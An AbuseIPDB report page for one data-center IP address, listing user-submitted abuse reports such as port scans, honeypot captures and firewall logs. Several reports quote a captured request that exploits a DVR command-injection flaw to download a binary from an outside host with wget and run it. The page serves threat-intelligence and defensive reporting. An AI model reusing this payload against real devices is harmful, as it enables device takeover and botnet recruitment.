JavaScript is disabled. Some features of this site may not work properly. For a smoother experience, please enable JavaScript in your browser settings.

AbuseIPDB » 206.223.228.199

206.223.228.199 was found in our database!

This IP was reported 202 times. Confidence of Abuse is 100%: ?

100%

ISP	Latitude.sh
Usage Type	Data Center/Web Hosting/Transit
ASN	AS396356
Domain Name	latitude.sh
Country	🇺🇸 United States of America
City	Ashburn, Virginia

IP info including ISP, Usage Type, and Location provided by IPInfo. Updated weekly.

Report 206.223.228.199

Whois 206.223.228.199

IP Abuse Reports for 206.223.228.199:

This IP address has been reported a total of 202 times from 133 distinct sources. 206.223.228.199 was first reported on June 8th 2026, and the most recent report was 8 hours ago.

Recent Reports: We have received reports of abusive activity from this IP address within the last week. It is potentially still actively engaged in abusive activities.

Reporter	IoA Timestamp (UTC)	Comment	Categories
🇧🇷 Peregrine	2026-06-18 03:11:07 (8 hours ago)	Fail2Ban Jail s2: tomcat-honeypot \| Evidence: - 206.223.228.199 - - [09/Jun/2026:03:26:32 -0300] "PO ... show more Fail2Ban Jail s2: tomcat-honeypot \| Evidence: - 206.223.228.199 - - [09/Jun/2026:03:26:32 -0300] "POST /device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3B%20rm%20data_arm7%3B%20wget%20http%3A%2F%2F169.40.104.99%2Fdata_arm7%3B%20chmod%20777%20data_arm7%3B%20.%2Fdata_arm7 HTTP/1.1" 404 414 show less	Bad Web Bot
🇧🇷 Peregrine	2026-06-16 03:12:46 (2 days ago)	Fail2Ban Jail s2: tomcat-honeypot \| Evidence: - 206.223.228.199 - - [09/Jun/2026:03:26:32 -0300] "PO ... show more Fail2Ban Jail s2: tomcat-honeypot \| Evidence: - 206.223.228.199 - - [09/Jun/2026:03:26:32 -0300] "POST /device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3B%20rm%20data_arm7%3B%20wget%20http%3A%2F%2F169.40.104.99%2Fdata_arm7%3B%20chmod%20777%20data_arm7%3B%20.%2Fdata_arm7 HTTP/1.1" 404 414 show less	Bad Web Bot
🇧🇷 Peregrine	2026-06-15 03:11:05 (3 days ago)	Fail2Ban Jail s2: tomcat-honeypot \| Evidence: - 206.223.228.199 - - [09/Jun/2026:03:26:32 -0300] "PO ... show more Fail2Ban Jail s2: tomcat-honeypot \| Evidence: - 206.223.228.199 - - [09/Jun/2026:03:26:32 -0300] "POST /device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3B%20rm%20data_arm7%3B%20wget%20http%3A%2F%2F169.40.104.99%2Fdata_arm7%3B%20chmod%20777%20data_arm7%3B%20.%2Fdata_arm7 HTTP/1.1" 404 414 show less	Bad Web Bot
🇧🇷 Peregrine	2026-06-14 03:11:01 (4 days ago)	Fail2Ban Jail s2: tomcat-honeypot \| Evidence: - 206.223.228.199 - - [09/Jun/2026:03:26:32 -0300] "PO ... show more Fail2Ban Jail s2: tomcat-honeypot \| Evidence: - 206.223.228.199 - - [09/Jun/2026:03:26:32 -0300] "POST /device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3B%20rm%20data_arm7%3B%20wget%20http%3A%2F%2F169.40.104.99%2Fdata_arm7%3B%20chmod%20777%20data_arm7%3B%20.%2Fdata_arm7 HTTP/1.1" 404 414 show less	Bad Web Bot
🇧🇷 Peregrine	2026-06-13 03:09:44 (5 days ago)	Fail2Ban Jail: tomcat-honeypot \| Evidence: - 206.223.228.199 - - [09/Jun/2026:03:26:13 -0300] "POST ... show more Fail2Ban Jail: tomcat-honeypot \| Evidence: - 206.223.228.199 - - [09/Jun/2026:03:26:13 -0300] "POST /device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3B%20rm%20data_arm7%3B%20wget%20http%3A%2F%2F169.40.104.99%2Fdata_arm7%3B%20chmod%20777%20data_arm7%3B%20.%2Fdata_arm7 HTTP/1.1" 404 414 show less	Bad Web Bot
🇧🇷 Peregrine	2026-06-11 03:10:10 (1 week ago)	Fail2Ban Jail: tomcat-honeypot \| Evidence: - 206.223.228.199 - - [09/Jun/2026:03:26:13 -0300] "POST ... show more Fail2Ban Jail: tomcat-honeypot \| Evidence: - 206.223.228.199 - - [09/Jun/2026:03:26:13 -0300] "POST /device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3B%20rm%20data_arm7%3B%20wget%20http%3A%2F%2F169.40.104.99%2Fdata_arm7%3B%20chmod%20777%20data_arm7%3B%20.%2Fdata_arm7 HTTP/1.1" 404 414 show less	Bad Web Bot
🇺🇸 NetGuard	2026-06-11 01:14:00 (1 week ago)	#honeypot #netguard247 #dionaea #networkexploit Captured by NetGuard 24/7 T-Pot honeypot (netguard24 ... show more #honeypot #netguard247 #dionaea #networkexploit Captured by NetGuard 24/7 T-Pot honeypot (netguard24-7.com). Timestamp: 2026-06-08T18:22:44.229+00:00 Attacker IP: 206.223.228.199 \| Port: 81 \| Country: United States Honeypot: dionaea \| Attack: network_exploit Source: NetGuard 24/7 (netguard24-7.com) \| PhantomGrid Defense show less	Hacking SQL Injection Web App Attack
🇧🇷 SOC-BR	2026-06-10 07:22:14 (1 week ago)	Attack detected by Fortinet - applications3: TBK.DVR.SOSTREAMAX.Command.Injection - 2026-06-09 03:27 ... show more Attack detected by Fortinet - applications3: TBK.DVR.SOSTREAMAX.Command.Injection - 2026-06-09 03:27:30 - Source Port 34118 show less	Port Scan Hacking
🇹🇷 herseycokguzelolacak	2026-06-09 09:15:04 (1 week ago)	Keenetic Firewall: Persistent traffic from Blacklisted IP. Blocked via Kernel/NFLOG. (20 hits in 24h ... show more Keenetic Firewall: Persistent traffic from Blacklisted IP. Blocked via Kernel/NFLOG. (20 hits in 24h). show less	Port Scan
🇧🇷 SSP	2026-06-09 08:55:14 (1 week ago)	Automatically generated from firewall_v2 logs on Server_ID: SPPX01 Category: IoT Targeted Occurren ... show more Automatically generated from firewall_v2 logs on Server_ID: SPPX01 Category: IoT Targeted Occurrences: 20 Unique Ports: 6 Destination Ports: 56575, 5555, 81, 5500, 6036, 17000 First Seen: 2026-06-08 08:50 UTC Last Seen: 2026-06-09 07:45 UTC show less	IoT Targeted
🇺🇸 technash	2026-06-09 08:07:00 (1 week ago)	Unauthorized network connection attempt(s) via TCP/UDP port(s) from TI-mapped IP entity detected [Fo ... show more Unauthorized network connection attempt(s) via TCP/UDP port(s) from TI-mapped IP entity detected [Fortinet/Sentinel]. show less	Port Scan
🇺🇸 donarev419	2026-06-09 07:38:08 (1 week ago)	Connection to port 6036 with data transfer. Data preview: 1111�	Port Scan Hacking
🇺🇸 xmission.com	2026-06-09 07:35:29 (1 week ago)	Blocked by UFW (TCP on 6036) Source port: 47111 TTL: 244 Packet length: 40 TOS: 0x00 This report (f ... show more Blocked by UFW (TCP on 6036) Source port: 47111 TTL: 244 Packet length: 40 TOS: 0x00 This report (for 206.223.228.199) was generated by: https://github.com/sefinek/UFW-AbuseIPDB-Reporter show less	Port Scan
🇺🇸 xmission.com	2026-06-09 07:08:32 (1 week ago)	Blocked by UFW (TCP on 17000) Source port: 53282 TTL: 244 Packet length: 40 TOS: 0x00 This report ( ... show more Blocked by UFW (TCP on 17000) Source port: 53282 TTL: 244 Packet length: 40 TOS: 0x00 This report (for 206.223.228.199) was generated by: https://github.com/sefinek/UFW-AbuseIPDB-Reporter show less	Port Scan
Anonymous	2026-06-09 07:07:50 (1 week ago)	Jun 8 01:04:30 localhost kernel: [109240376.232871] iptables_INPUT_denied: IN=eth0 OUT= MAC=f2:3c:9 ... show more Jun 8 01:04:30 localhost kernel: [109240376.232871] iptables_INPUT_denied: IN=eth0 OUT= MAC=f2:3c:91:84:83:95:00:00:0c:9f:f0:1e:08:00 SRC=206.223.228.199 DST=[mungedIP2] LEN=36 TOS=0x00 PREC=0x40 TTL=240 ID=54321 PROTO=UDP SPT=56786 DPT=123 LEN=16 Jun 8 01:04:30 localhost kernel: [109240376.232904] iptables_INPUT_denied: IN=eth0 OUT= MAC=f2:3c:91:84:83:95:00:00:0c:9f:f0:1e:08:00 SRC=206.223.228.199 DST=[mungedIP2] LEN=36 TOS=0x00 PREC=0x40 TTL=240 ID=54321 PROTO=UDP SPT=56786 DPT=123 LEN=16 Jun 9 03:07:50 localhost kernel: [109334173.722963] iptables_INPUT_denied: IN=eth0 OUT= MAC=f2:3c:91:84:83:95:00:00:0c:9f:f0:1e:08:00 SRC=206.223.228.199 DST=[mungedIP2] LEN=40 TOS=0x00 PREC=0x40 TTL=237 ID=54321 PROTO=TCP SPT=39942 DPT=17000 WINDOW=65535 RES=0x00 SYN URGP=0 Jun 9 03:07:50 localhost kernel: [109334173.722997] iptables_INPUT_denied: IN=eth0 OUT= MAC=f2:3c:91:84:83:95:00:00:0c:9f:f0:1e:08:00 SRC=206.223.228.199 DST=[mungedIP2] LEN=40 TOS=0x00 PREC=0x40 TTL=237 ID=54321 PROTO=TCP SPT=39942 DPT=17000 SE show less	Port Scan

Showing 1 to 15 of 202 reports

Think this IP has been falsely reported? You may request to have the associated reports reviewed and removed. Request Takedown 🚩

Recently Reported IPs:

🇺🇸 162.216.150.160

🇺🇸 124.198.131.231

🇺🇸 104.237.132.63

🇮🇳 103.14.234.234

🇫🇷 82.112.241.229

🇺🇸 47.252.39.247

🇺🇸 47.251.253.192

🇲🇾 47.250.82.24

🇳🇱 45.148.10.147

🇺🇸 20.15.162.87

🇸🇬 8.219.112.24

🇹🇷 213.74.255.14

🇳🇱 176.65.139.56

🇰🇼 168.187.239.225

🇺🇸 162.216.149.163

🇺🇸 162.216.149.13

🇨🇳 123.245.84.164

🇭🇰 101.36.106.89

🇫🇷 92.154.95.236

🇺🇸 66.132.186.173